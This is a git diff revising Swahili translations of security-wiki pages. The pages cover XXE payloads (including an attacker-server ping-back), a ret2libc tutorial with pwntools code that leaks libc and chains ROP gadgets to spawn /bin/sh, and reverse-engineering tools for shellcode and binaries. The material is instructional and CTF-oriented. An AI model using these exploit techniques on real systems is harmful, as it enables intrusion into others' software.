Hii mabadiliko husababisha uhamasishaji wa mafaili yaliyomo, kama inavyoonyeshwa katika matokeo ya kosa yaliyotumwa kupitia HTTP. Hii inaashiria shambulio la XXE (XML External Entity) lililofanikiwa, likitumia mbinu za Out of Band na Error-Based ili kutoa taarifa nyeti.
## RSS - XEE
@ -542,7 +542,7 @@ XML halali yenye muundo wa RSS ili kutumia udhaifu wa XXE.
### Ping back
Omba rahisi la HTTP kwa seva ya washambuliaji.
Ombi rahisi la HTTP kwa seva ya washambuliaji.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
@ -671,6 +671,10 @@ XMLDecoder ni darasa la Java linalounda vitu kulingana na ujumbe wa XML. Ikiwa m
</void>
</java>
```
## XXE + WrapWrap + Lightyear + bypasses
Angalia ripoti hii ya ajabu [https://swarm.ptsecurity.com/impossible-xxe-in-php/](https://swarm.ptsecurity.com/impossible-xxe-in-php/)
## Tools
{{#ref}}
@ -681,7 +685,7 @@ https://github.com/luisfontes19/xxexploiter
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
- Pata taarifa kupitia HTTP ukitumia DTD yako ya nje: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
- Pata info kupitia HTTP ukitumia DTD yako ya nje: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)
- [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)
- [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)

View File

@ -9,10 +9,10 @@
3. Tumia gadgets za awali ku **onyesha anwani ya kumbukumbu** ya puts au kazi nyingine ya libc na **pata toleo la libc** ([donwload it](https://libc.blukat.me))
4. Pamoja na maktaba, **hesabu ROP na uifanye**
## Miongozo mingine na binaries za kufanya mazoezi
## Mafunzo mengine na binaries za kufanya mazoezi
Miongozo hii itatumia msimbo/binary uliopendekezwa katika miongozo hii: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Miongozo mingine ya manufaa: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
Mafunzo haya yatatumia msimbo/binary uliopendekezwa katika mafunzo haya: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
Mafunzo mengine ya manufaa: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
## Msimbo
@ -72,7 +72,7 @@ Njia nyingine ingekuwa kutumia: `pattern create 1000` -- _tekeleza hadi ret_ --
## 2- Kupata Gadgets
Sasa tunahitaji kupata ROP gadgets ndani ya binary. Hizi ROP gadgets zitakuwa muhimu kuita `puts` ili kupata **libc** inayotumika, na baadaye **kuanzisha exploit ya mwisho**.
Sasa tunahitaji kupata ROP gadgets ndani ya binary. Hizi ROP gadgets zitakuwa na manufaa kuita `puts` ili kupata **libc** inayotumika, na baadaye **kuanzisha exploit ya mwisho**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -83,15 +83,15 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
`PUTS_PLT` inahitajika kuita **function puts**.\
`MAIN_PLT` inahitajika kuita **main function** tena baada ya mwingiliano mmoja ili **exploit** overflow **tena** (mizunguko isiyo na mwisho ya exploitation). **Inatumika mwishoni mwa kila ROP kuita programu tena**.\
**POP_RDI** inahitajika **kupitisha** **parameter** kwa function iliyoitwa.
The `PUTS_PLT` inahitajika kuita **function puts**.\
The `MAIN_PLT` inahitajika kuita **main function** tena baada ya mwingiliano mmoja ili **exploit** overflow **tena** (mizunguko isiyo na mwisho ya exploitation). **Inatumika mwishoni mwa kila ROP kuita programu tena**.\
The **POP_RDI** inahitajika **kupitisha** **parameter** kwa function iliyoitwa.
Katika hatua hii huwezi kutekeleza chochote kwani kila kitu kitapatikana na pwntools wakati wa utekelezaji.
## 3- Kutafuta maktaba ya libc
## 3- Kupata maktaba ya libc
Sasa ni wakati wa kutafuta ni toleo gani la **libc** maktaba linatumika. Ili kufanya hivyo tutatoa **leak** ya **address** katika kumbukumbu ya **function** `puts` na kisha tutatafuta ni **library version** gani toleo la puts liko katika hiyo address.
Sasa ni wakati wa kupata ni toleo gani la **libc** maktaba linatumika. Ili kufanya hivyo tutakuwa na **leak** **anwani** katika kumbukumbu ya **function** `puts` na kisha tutatafuta ni **library version** gani toleo la puts liko katika anwani hiyo.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
@ -124,8 +124,8 @@ Ili kufanya hivyo, mstari muhimu zaidi wa msimbo uliofanywa ni:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Hii itatuma baadhi ya bytes hadi **kuandika** **RIP** iwezekanavyo: `OFFSET`.\
Kisha, itapanga **anwani** ya gadget `POP_RDI` ili anwani inayofuata (`FUNC_GOT`) ihifadhiwe katika **RDI** registry. Hii ni kwa sababu tunataka **kuita puts** **tukipitia** **anwani** ya `PUTS_GOT` kama anwani katika kumbukumbu ya kazi ya puts inahifadhiwa katika anwani inayoelekezwa na `PUTS_GOT`.\
Hii itatuma baadhi ya bytes hadi **kuandika upya** **RIP** inavyowezekana: `OFFSET`.\
Kisha, itapanga **anwani** ya gadget `POP_RDI` ili anwani inayofuata (`FUNC_GOT`) ihifadhiwe katika rejista ya **RDI**. Hii ni kwa sababu tunataka **kuita puts** **tukipitia** **anwani** ya `PUTS_GOT` kwani anwani katika kumbukumbu ya kazi ya puts imehifadhiwa katika anwani inayotolewa na `PUTS_GOT`.\
Baada ya hapo, `PUTS_PLT` itaitwa (ikiwa na `PUTS_GOT` ndani ya **RDI**) ili puts **isome maudhui** ndani ya `PUTS_GOT` (**anwani ya kazi ya puts katika kumbukumbu**) na it **ichapishe**.\
Hatimaye, **kazi ya main inaitwa tena** ili tuweze kutumia overflow tena.
@ -133,8 +133,8 @@ Kwa njia hii tumem **danganya kazi ya puts** ili **ichapishe** **anwani** katika
![](<../../../../../images/image (141).png>)
Kwa kuwa tun **atumia** baadhi ya **binary** za **local** si **lazima** kubaini ni toleo gani la **libc** linatumika (pata tu maktaba katika `/lib/x86_64-linux-gnu/libc.so.6`).\
Lakini, katika kesi ya exploit ya mbali nitafafanua hapa jinsi unavyoweza kulipata:
Kwa kuwa tunafanya **kuvamia** binary ya **local** si **lazima** kujua ni toleo gani la **libc** linatumika (pata tu maktaba katika `/lib/x86_64-linux-gnu/libc.so.6`).\
Lakini, katika kesi ya uvamizi wa mbali nitafafanua hapa jinsi unavyoweza kulipata:
### 3.1- Kutafuta toleo la libc (1)
@ -157,7 +157,7 @@ Ili hii ifanye kazi tunahitaji:
- Jina la alama ya Libc: `puts`
- Anwani ya libc iliyovuja: `0x7ff629878690`
Tunaweza kubaini ni **libc** ipi ambayo ina uwezekano mkubwa kutumika.
Tunaweza kubaini ni **libc** ipi ambayo ina uwezekano mkubwa inatumika.
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
@ -184,7 +184,7 @@ gets
```
## 4- Kupata anwani ya libc kulingana na msingi & kutumia
Katika hatua hii tunapaswa kujua maktaba ya libc inayotumika. Kwa kuwa tunatumia binary ya ndani nitatumia tu: `/lib/x86_64-linux-gnu/libc.so.6`
Katika hatua hii tunapaswa kujua maktaba ya libc inayotumika. Kwa kuwa tunatumia binary ya ndani, nitatumia tu: `/lib/x86_64-linux-gnu/libc.so.6`
Hivyo, mwanzoni mwa `template.py` badilisha **libc** variable kuwa: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
@ -222,14 +222,14 @@ Hebu tueleze hii ROP ya mwisho.\
ROP ya mwisho (`rop1`) ilimaliza kwa kuita tena kazi ya main, kisha tunaweza **ku exploit tena** **overflow** (ndiyo maana `OFFSET` iko hapa tena). Kisha, tunataka kuita `POP_RDI` ikielekeza kwenye **anwani** ya _"/bin/sh"_ (`BINSH`) na kuita kazi ya **system** (`SYSTEM`) kwa sababu anwani ya _"/bin/sh"_ itapitishwa kama parameter.\
Hatimaye, **anwani ya kazi ya exit** inaitwa ili mchakato **uondoke vizuri** na tahadhari yoyote itolewe.
**Hivi ndivyo exploit itatekeleza \_/bin/sh**\_\*\* shell.\*\*
**Kwa njia hii exploit itatekeleza _/bin/sh**_ shell.**
![](<../../../../../images/image (143).png>)
## 4(2)- Kutumia ONE_GADGET
Unaweza pia kutumia [**ONE_GADGET** ](https://github.com/david942j/one_gadget) kupata shell badala ya kutumia **system** na **"/bin/sh". ONE_GADGET** itapata ndani ya maktaba ya libc njia fulani ya kupata shell kwa kutumia tu **anwani moja ya ROP**.\
Hata hivyo, kawaida kuna baadhi ya vizuizi, zile za kawaida na rahisi kuepukwa ni kama `[rsp+0x30] == NULL` Kwa kuwa unadhibiti thamani ndani ya **RSP** unahitaji tu kutuma thamani zaidi za NULL ili kuepuka vizuizi hivyo.
Hata hivyo, kawaida kuna vikwazo fulani, ambavyo ni vya kawaida na rahisi kuepukwa ni kama `[rsp+0x30] == NULL` Kwa kuwa unadhibiti thamani ndani ya **RSP** unahitaji tu kutuma thamani zaidi za NULL ili kuepuka kikwazo.
![](<../../../../../images/image (615).png>)
```python
@ -238,7 +238,7 @@ rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## FAILI LA KUTUMIA
Unaweza kupata kiolezo cha kutumia udhaifu huu hapa:
Unaweza kupata kigezo cha kutumia udhaifu huu hapa:
{{#ref}}
rop-leaking-libc-template.md
@ -254,7 +254,7 @@ objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
na kuweka anwani kwa mikono:
na weka anwani kwa mikono:
```python
MAIN_PLT = 0x401080
```
@ -264,7 +264,7 @@ Ikiwa binary haitumii Puts unapaswa kuangalia ikiwa inatumia
### `sh: 1: %s%s%s%s%s%s%s%s: hazipatikani`
Ikiwa unapata **kosa** hili baada ya kuunda **zote** exploit: `sh: 1: %s%s%s%s%s%s%s%s: hazipatikani`
Ikiwa utapata **kosa** hili baada ya kuunda **yote** ya exploit: `sh: 1: %s%s%s%s%s%s%s%s: hazipatikani`
Jaribu **kupunguza byte 64 kutoka anwani ya "/bin/sh"**:
```python

View File

@ -12,9 +12,9 @@ Software:
Online:
- Use [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) to **decompile** from wasm (binary) to wat (clear text)
- Use [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) to **compile** from wat to wasm
- you can also try to use [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) to decompile
- Tumia [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) ili **decompile** kutoka wasm (binary) hadi wat (clear text)
- Tumia [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) ili **compile** kutoka wat hadi wasm
- unaweza pia kujaribu kutumia [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) ili decompile
Software:
@ -25,29 +25,29 @@ Software:
### [dotPeek](https://www.jetbrains.com/decompiler/)
dotPeek ni decompiler inayoweza **ku-decompile na kuchunguza muundo mbalimbali**, ikiwa ni pamoja na **maktaba** (.dll), **faili za metadata za Windows** (.winmd), na **programu** (.exe). Mara baada ya ku-decompile, mkusanyiko unaweza kuhifadhiwa kama mradi wa Visual Studio (.csproj).
dotPeek ni decompiler inayoweza **decompile na kuchunguza muundo mbalimbali**, ikiwa ni pamoja na **maktaba** (.dll), **faili za metadata za Windows** (.winmd), na **executables** (.exe). Mara baada ya decompiled, assembly inaweza kuhifadhiwa kama mradi wa Visual Studio (.csproj).
Faida hapa ni kwamba ikiwa msimbo wa chanzo uliopotea unahitaji kurekebishwa kutoka kwa mkusanyiko wa zamani, hatua hii inaweza kuokoa muda. Zaidi, dotPeek inatoa urahisi wa kuvinjari katika msimbo ulio decompiled, na kuifanya kuwa moja ya zana bora kwa **uchambuzi wa algorithm za Xamarin.**
Faida hapa ni kwamba ikiwa msimbo wa chanzo uliopotea unahitaji kurekebishwa kutoka kwa assembly ya zamani, hatua hii inaweza kuokoa muda. Zaidi, dotPeek inatoa urahisi wa kuvinjari katika msimbo ulio decompiled, na kuifanya kuwa moja ya zana bora kwa **uchambuzi wa algorithm za Xamarin.**
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
Kwa mfano wa kina wa kuongeza na API inayopanua zana ili kukidhi mahitaji yako halisi, .NET reflector inaokoa muda na kurahisisha maendeleo. Hebu tuangalie wingi wa huduma za uhandisi wa nyuma zana hii inatoa:
Kwa mfano wa kina wa kuongeza na API inayopanua zana ili kufaa mahitaji yako halisi, .NET reflector inaokoa muda na kurahisisha maendeleo. Hebu tuangalie wingi wa huduma za uhandisi wa nyuma ambazo zana hii inatoa:
- Inatoa mwanga juu ya jinsi data inavyopita kupitia maktaba au kipengee
- Inatoa mwanga juu ya utekelezaji na matumizi ya lugha na mifumo ya .NET
- Inapata kazi zisizoandikwa na zisizoonyeshwa ili kupata zaidi kutoka kwa APIs na teknolojia zinazotumika.
- Inapata utegemezi na makusanyiko tofauti
- Inapata utegemezi na assemblies tofauti
- Inafuatilia mahali halisi pa makosa katika msimbo wako, vipengee vya wahusika wengine, na maktaba.
- Inarekebisha kwenye chanzo cha msimbo wote wa .NET unayofanya kazi nao.
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
[ILSpy plugin for Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Unaweza kuwa nayo katika OS yoyote (unaweza kuisakinisha moja kwa moja kutoka VSCode, hakuna haja ya kupakua git. Bonyeza kwenye **Extensions** na **search ILSpy**).\
Ikiwa unahitaji **ku-decompile**, **kubadilisha** na **ku-recompile** tena unaweza kutumia [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) au toleo linaloendelea la hiyo, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Bonyeza kulia -> Badilisha Mbinu** kubadilisha kitu ndani ya kazi).
Ikiwa unahitaji **decompile**, **modify** na **recompile** tena unaweza kutumia [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) au tawi linaloendelea kudumishwa la hiyo, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Right Click -> Modify Method** kubadilisha kitu ndani ya kazi).
### DNSpy Logging
Ili kufanya **DNSpy iandike baadhi ya taarifa katika faili**, unaweza kutumia kipande hiki:
Ili kufanya **DNSpy log baadhi ya taarifa katika faili**, unaweza kutumia kipande hiki:
```cs
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
@ -78,7 +78,7 @@ Kisha hifadhi faili mpya kupitia _**File >> Save module...**_:
![](<../../images/image (602).png>)
Hii ni muhimu kwa sababu ikiwa hufanyi hivi, wakati wa **runtime** **optimisations** kadhaa zitawekwa kwenye msimbo na inaweza kuwa inawezekana kwamba wakati wa kubaini **break-point haitagundulika kamwe** au baadhi ya **variables hazipo**.
Hii ni muhimu kwa sababu ikiwa hufanyi hivi, wakati wa **runtime** **optimisations** kadhaa zitawekwa kwenye msimbo na inaweza kuwa inawezekana kwamba wakati wa kutatua makosa **break-point haitagundulika kamwe** au baadhi ya **variables hazipo**.
Kisha, ikiwa programu yako ya .NET inatekelezwa na **IIS** unaweza **kuanzisha upya** kwa:
```
@ -92,7 +92,7 @@ Kisha chagua **w3wp.exe** kuungana na **IIS server** na bonyeza **attach**:
![](<../../images/image (113).png>)
Sasa kwamba tunafuatilia mchakato, ni wakati wa kuusitisha na kupakia moduli zote. Kwanza bonyeza _Debug >> Break All_ kisha bonyeza _**Debug >> Windows >> Modules**_:
Sasa kwamba tunafuatilia mchakato, ni wakati wa kuusitisha na kupakia moduli zote. Kwanza bonyeza _Debug >> Break All_ na kisha bonyeza _**Debug >> Windows >> Modules**_:
![](<../../images/image (132).png>)
@ -102,7 +102,7 @@ Bonyeza moduli yoyote kwenye **Modules** na chagua **Open All Modules**:
![](<../../images/image (922).png>)
Bonyeza kulia kwenye moduli yoyote katika **Assembly Explorer** na bonyeza **Sort Assemblies**:
Bonyeza kulia moduli yoyote katika **Assembly Explorer** na bonyeza **Sort Assemblies**:
![](<../../images/image (339).png>)
@ -125,14 +125,14 @@ Bonyeza kulia kwenye moduli yoyote katika **Assembly Explorer** na bonyeza **Sor
![](<../../images/image (704).png>)
Kisha, unapozindua kufuatilia makosa **utekelezaji utafungwa wakati kila DLL inapopakuliwa**, kisha, wakati rundll32 inapopakua DLL yako utekelezaji utafungwa.
Kisha, unapozindua kufuatilia **utekelezaji utafungwa wakati kila DLL inapopakuliwa**, kisha, wakati rundll32 inapopakua DLL yako uteketezaji utafungwa.
Lakini, unaweza vipi kufikia msimbo wa DLL ambayo ilipakuliwa? Kutumia njia hii, sijui jinsi.
### Kutumia x64dbg/x32dbg
- **Load rundll32** (64bits katika C:\Windows\System32\rundll32.exe na 32 bits katika C:\Windows\SysWOW64\rundll32.exe)
- **Change the Command Line** ( _File --> Change Command Line_ ) na weka njia ya dll na kazi unayotaka kuita, kwa mfano: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- **Badilisha Command Line** ( _File --> Change Command Line_ ) na weka njia ya dll na kazi unayotaka kuita, kwa mfano: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
- Badilisha _Options --> Settings_ na chagua "**DLL Entry**".
- Kisha **anzisha utekelezaji**, debugger itasimama kwenye kila dll main, kwa wakati fulani utakuwa **umesimama kwenye dll Entry ya dll yako**. Kutoka hapo, tafuta maeneo ambapo unataka kuweka breakpoint.
@ -140,7 +140,7 @@ Kumbuka kwamba wakati utekelezaji umesimamishwa kwa sababu yoyote katika win64db
![](<../../images/image (842).png>)
Kisha, ukiangalia hii unaweza kuona wakati utekelezaji umesimamishwa kwenye dll unayotaka kufuatilia makosa.
Kisha, ukiangalia hii unaweza kuona wakati utekelezaji umesimamishwa kwenye dll unayotaka kufuatilia.
## GUI Apps / Videogames
@ -150,7 +150,7 @@ Kisha, ukiangalia hii unaweza kuona wakati utekelezaji umesimamishwa kwenye dll
cheat-engine.md
{{#endref}}
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) ni chombo cha mbele/kugeuza uhandisi kwa GNU Project Debugger (GDB), kinachozingatia michezo. Hata hivyo, inaweza kutumika kwa mambo yoyote yanayohusiana na uhandisi wa kurudi
[**PiNCE**](https://github.com/korcankaraokcu/PINCE) ni chombo cha mbele/kugeuza uhandisi kwa GNU Project Debugger (GDB), kinachozingatia michezo. Hata hivyo, inaweza kutumika kwa mambo yoyote yanayohusiana na uhandisi wa nyuma.
[**Decompiler Explorer**](https://dogbolt.org/) ni chombo cha wavuti kwa idadi ya decompilers. Huduma hii ya wavuti inakuwezesha kulinganisha matokeo ya decompilers tofauti kwenye executable ndogo.
@ -164,10 +164,10 @@ https://github.com/nongiach/arm_now
### Kufuatilia shellcode na blobrunner
[**Blobrunner**](https://github.com/OALabs/BlobRunner) itafanya **allocate** **shellcode** ndani ya nafasi ya kumbukumbu, itakuonyesha **anwani ya kumbukumbu** ambapo shellcode ilipangwa na itasimamisha utekelezaji.\
Kisha, unahitaji **kuungana na debugger** (Ida au x64dbg) kwenye mchakato na kuweka **breakpoint kwenye anwani ya kumbukumbu iliyoonyeshwa** na **endelea** na utekelezaji. Kwa njia hii utakuwa unafuatilia shellcode.
[**Blobrunner**](https://github.com/OALabs/BlobRunner) itafanya **allocate** **shellcode** ndani ya nafasi ya kumbukumbu, itakuonyesha **anwani ya kumbukumbu** ambapo shellcode ilipangwa na itasimamisha **utekelezaji**.\
Kisha, unahitaji **kuungana na debugger** (Ida au x64dbg) kwenye mchakato na kuweka **breakpoint kwenye anwani ya kumbukumbu iliyoonyeshwa** na **kuendelea** na utekelezaji. Kwa njia hii utakuwa unafuatilia shellcode.
Ukurasa wa kutolewa wa github una zips zinazoshikilia toleo zilizokusanywa: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Kurasa za github za matoleo zina zip zinazoshikilia matoleo yaliyokusanywa: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
Unaweza kupata toleo lililobadilishwa kidogo la Blobrunner kwenye kiungo kinachofuata. Ili kulijenga tu **unda mradi wa C/C++ katika Visual Studio Code, nakili na ubandike msimbo na ujenge**.
{{#ref}}
@ -176,21 +176,21 @@ blobrunner.md
### Kufuatilia shellcode na jmp2it
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) ni sawa na blobrunner. Itafanya **allocate** **shellcode** ndani ya nafasi ya kumbukumbu, na kuanzisha **mzunguko wa milele**. Unahitaji kisha **kuungana na debugger** kwenye mchakato, **cheza anza subiri sekunde 2-5 na bonyeza kusitisha** na utajikuta ndani ya **mzunguko wa milele**. Ruka kwenye amri inayofuata ya mzunguko wa milele kwani itakuwa wito kwa shellcode, na hatimaye utajikuta unatekeleza shellcode.
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) ni sawa sana na blobrunner. Itafanya **allocate** **shellcode** ndani ya nafasi ya kumbukumbu, na kuanzisha **mzunguko wa milele**. Unahitaji kisha **kuungana na debugger** kwenye mchakato, **cheza anza subiri sekunde 2-5 na bonyeza simama** na utajikuta ndani ya **mzunguko wa milele**. Ruka kwenye amri inayofuata ya mzunguko wa milele kwani itakuwa wito kwa shellcode, na hatimaye utajikuta unatekeleza shellcode.
![](<../../images/image (509).png>)
Unaweza kupakua toleo lililokusanywa la [jmp2it ndani ya ukurasa wa kutolewa](https://github.com/adamkramer/jmp2it/releases/).
Unaweza kupakua toleo lililokusanywa la [jmp2it ndani ya ukurasa wa matoleo](https://github.com/adamkramer/jmp2it/releases/).
### Kufuatilia shellcode kwa kutumia Cutter
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) ni GUI ya radare. Kwa kutumia cutter unaweza kuiga shellcode na kuikagua kwa njia ya kidijitali.
Kumbuka kwamba Cutter inakuwezesha "Open File" na "Open Shellcode". Katika kesi yangu nilipofungua shellcode kama faili ilikamilishwa vizuri, lakini nilipofungua kama shellcode haikufanya hivyo:
Kumbuka kwamba Cutter inakuwezesha "Fungua Faili" na "Fungua Shellcode". Katika kesi yangu nilipofungua shellcode kama faili ilikamilika vizuri, lakini nilipofungua kama shellcode haikufanya hivyo:
![](<../../images/image (562).png>)
Ili kuanza kuiga katika mahali unayotaka, weka bp hapo na kwa kuonekana cutter itaanza kuiga kutoka hapo:
Ili kuanza kuiga katika mahali unapotaka, weka bp hapo na kwa kuonekana cutter itaanza kuiga kutoka hapo:
![](<../../images/image (589).png>)
@ -203,7 +203,7 @@ Unaweza kuona stack kwa mfano ndani ya hex dump:
### Kuondoa obfuscation ya shellcode na kupata kazi zinazotekelezwa
Unapaswa kujaribu [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7&pid=152).\
Itakuambia mambo kama **ni kazi zipi** shellcode inatumia na kama shellcode inajidondoa **katika kumbukumbu**.
Itakuambia mambo kama **ni kazi zipi** shellcode inatumia na ikiwa shellcode inajificha **kijificha** yenyewe katika kumbukumbu.
```bash
scdbg.exe -f shellcode # Get info
scdbg.exe -f shellcode -r #show analysis report at end of run
@ -224,7 +224,7 @@ Pakia faili yako ya shellcode kama ingizo na tumia mapishi yafuatayo kuikodisha:
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
Obfuscator hii **inasanifu maagizo yote ya `mov`** (ndiyo, ni ya kupendeza sana). Pia inatumia usumbufu kubadilisha mtiririko wa utekelezaji. Kwa maelezo zaidi kuhusu jinsi inavyofanya kazi:
Obfuscator hii **hubadilisha maagizo yote ya `mov`** (ndiyo, ni ya kupendeza sana). Pia inatumia usumbufu kubadilisha mtiririko wa utekelezaji. Kwa maelezo zaidi kuhusu jinsi inavyofanya kazi:
- [https://www.youtube.com/watch?v=2VF_wPkiBJY](https://www.youtube.com/watch?v=2VF_wPkiBJY)
- [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas_2015_the_movfuscator.pdf)
@ -240,11 +240,11 @@ Ikiwa unacheza **CTF, njia hii ya kupata bendera** inaweza kuwa ya manufaa sana:
## Rust
Ili kupata **nukta ya kuingia** tafuta kazi kwa `::main` kama ilivyo:
Ili kupata **nukta ya kuingia** tafuta kazi kwa `::main` kama katika:
![](<../../images/image (1080).png>)
Katika kesi hii, binary ilitwa authenticator, hivyo ni wazi kwamba hii ndiyo kazi kuu ya kuvutia.\
Katika kesi hii, binary ilitwa authenticator, hivyo ni wazi kwamba hii ni kazi kuu ya kuvutia.\
Kuwa na **jina** la **kazi** zinazoitwa, tafuta kwao kwenye **Mtandao** ili kujifunza kuhusu **ingizo** na **matokeo** yao.
## **Delphi**
@ -255,9 +255,9 @@ Ikiwa unahitaji kubadilisha binary ya Delphi ningependekeza utumie plugin ya IDA
Bonyeza tu **ATL+f7** (kuagiza plugin ya python katika IDA) na uchague plugin ya python.
Plugin hii itatekeleza binary na kutatua majina ya kazi kwa njia ya kidinamikia mwanzoni mwa ufuatiliaji. Baada ya kuanza ufuatiliaji bonyeza tena kitufe cha Anza (kile kijani au f9) na breakpoint itagonga mwanzoni mwa msimbo halisi.
Plugin hii itatekeleza binary na kutatua majina ya kazi kwa njia ya kidinamikia mwanzoni mwa urekebishaji. Baada ya kuanza urekebishaji bonyeza tena kitufe cha Anza (kile kijani au f9) na breakpoint itagonga mwanzoni mwa msimbo halisi.
Pia ni ya kuvutia sana kwa sababu ikiwa unabonyeza kitufe katika programu ya picha, ufuatiliaji utaacha katika kazi iliyotekelezwa na kitufe hicho.
Pia ni ya kuvutia sana kwa sababu ikiwa unabonyeza kitufe katika programu ya picha, urekebishaji utaacha katika kazi inayotekelezwa na kitufe hicho.
## Golang
@ -277,18 +277,18 @@ Katika ukurasa huu unaweza kupata jinsi ya kupata msimbo wa python kutoka kwa bi
## GBA - Game Body Advance
Ikiwa unapata **binary** ya mchezo wa GBA unaweza kutumia zana tofauti ili **kuiga** na **kufuatilia**:
Ikiwa unapata **binary** ya mchezo wa GBA unaweza kutumia zana tofauti ili **kuiga** na **kurekebisha**:
- [**no$gba**](https://problemkaputt.de/gba.htm) (_Pakua toleo la ufuatiliaji_) - Inajumuisha ufuatiliaji na kiolesura
- [**mgba** ](https://mgba.io)- Inajumuisha ufuatiliaji wa CLI
- [**no$gba**](https://problemkaputt.de/gba.htm) (_Pakua toleo la urekebishaji_) - Inajumuisha urekebishaji na kiolesura
- [**mgba** ](https://mgba.io)- Inajumuisha urekebishaji wa CLI
- [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Plugin ya Ghidra
- [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Plugin ya Ghidra
Katika [**no$gba**](https://problemkaputt.de/gba.htm), katika _**Chaguzi --> Usanidi wa Uigaji --> Vidhibiti**_\*\* \*\* unaweza kuona jinsi ya kubonyeza **vitufe** vya Game Boy Advance
Katika [**no$gba**](https://problemkaputt.de/gba.htm), katika _**Chaguzi --> Usanidi wa Uigaji --> Vidhibiti**_** ** unaweza kuona jinsi ya kubonyeza **vitufe** vya Game Boy Advance
![](<../../images/image (581).png>)
Wakati vinapobonyeza, kila **funguo ina thamani** ya kuitambulisha:
Wakati vinapobonywa, kila **funguo ina thamani** ya kuitambulisha:
```
A = 1
B = 2
@ -340,7 +340,7 @@ uVar2 = DAT_030004dc;
uVar1 = *puVar6;
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
```
Ishara ya mwisho inakagua **`uVar4`** iko katika **funguo za mwisho** na si funguo ya sasa, pia inaitwa kuachilia kitufe (funguo ya sasa inahifadhiwa katika **`uVar1`**).
Ili ya mwisho inakagua **`uVar4`** iko katika **funguo za mwisho** na sio funguo ya sasa, pia inaitwa kuachilia kitufe (funguo ya sasa inahifadhiwa katika **`uVar1`**).
```c
if (uVar1 == 4) {
